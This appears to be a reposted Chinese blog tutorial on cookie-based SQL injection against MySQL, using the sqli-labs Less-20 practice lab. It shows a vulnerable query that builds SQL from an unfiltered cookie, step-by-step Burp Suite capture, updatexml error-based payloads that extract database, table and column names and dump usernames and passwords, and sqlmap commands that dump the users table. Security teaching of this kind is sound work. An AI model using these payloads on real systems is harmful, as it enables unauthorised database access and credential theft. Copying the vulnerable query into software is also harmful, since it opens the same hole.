MySQL cookie注入
1.cookie介紹
服務器可以利用cookie包含資訊的任意性來篩選并經常性維護這些資訊,以判斷在HTTP傳輸中的狀態,cookie最典型的應用是判定注冊用戶是否已經登錄網站,
用戶可能會在一段時間內在同一網站的不同頁面中選擇不同的商品嗎,這些資訊都會寫cookie,以便在最后付款時提取資訊,
我們按下F12,選擇控制臺,在命令列中輸入document.cookie,回車即可得到我們本地的cookie

2.cookie注入代碼分析
代碼中使用cookie傳遞引數,但是沒有對cookie中傳遞的引數進行過濾操作,導致SQL注入漏洞的產生,

用戶傳入進來的cookie,是可控的,并且還可以執行SQL陳述句
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
我們可以閉合前面的單引號,然后執行我們想要執行的SQL陳述句
3,cookie注入利用
我們以sql-lab-less20為例
1.輸入用戶名和密碼進行抓包

2.發送到repeater,go,查看response,點擊Follow redirection

3.回傳到Proxy

4.點擊Forward進行兩次放包

5.可以看到此時的cookie為uname=admin,我們還是重復上面的操作,將資料包發送至Repeater

6.go一下,查看回傳的資料

7.在用戶名后面加上反斜杠,查看報錯資訊

8.利用’ or 1=1 --+輸出第一個用戶名和密碼,

9.爆破資料庫
' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

10.爆破資料表
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) --+

我們要的是users表,因此,往后依次爆破即可
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

12.爆破欄位名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) --+

14.有爆欄位可知,此處有三個欄位,我們只需,以此爆破即可,而我們關注的是用戶名和密碼
獲取用戶名資訊
' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+

獲取密碼資訊
' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) --+

4.sqlmap安全測驗
sqlmap cookie注入
1.抓取資料包,并且在cookie后面加上星號(*)

2.cookie注入滲透測驗
python2 sqlmap.py -r "1.txt" --level 3 --batch

3.爆破資料庫
python2 sqlmap.py -r "1.txt" --level 3 --batch --dbs

4.爆破資料表
python2 sqlmap.py -r "1.txt" --level 3 --batch -D security --tables

5.爆破欄位及內容
python2 sqlmap.py -r "1.txt" --level 3 --batch -D security -T users --dump

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/376946.html
標籤:其他
上一篇:基礎入門-概念名詞
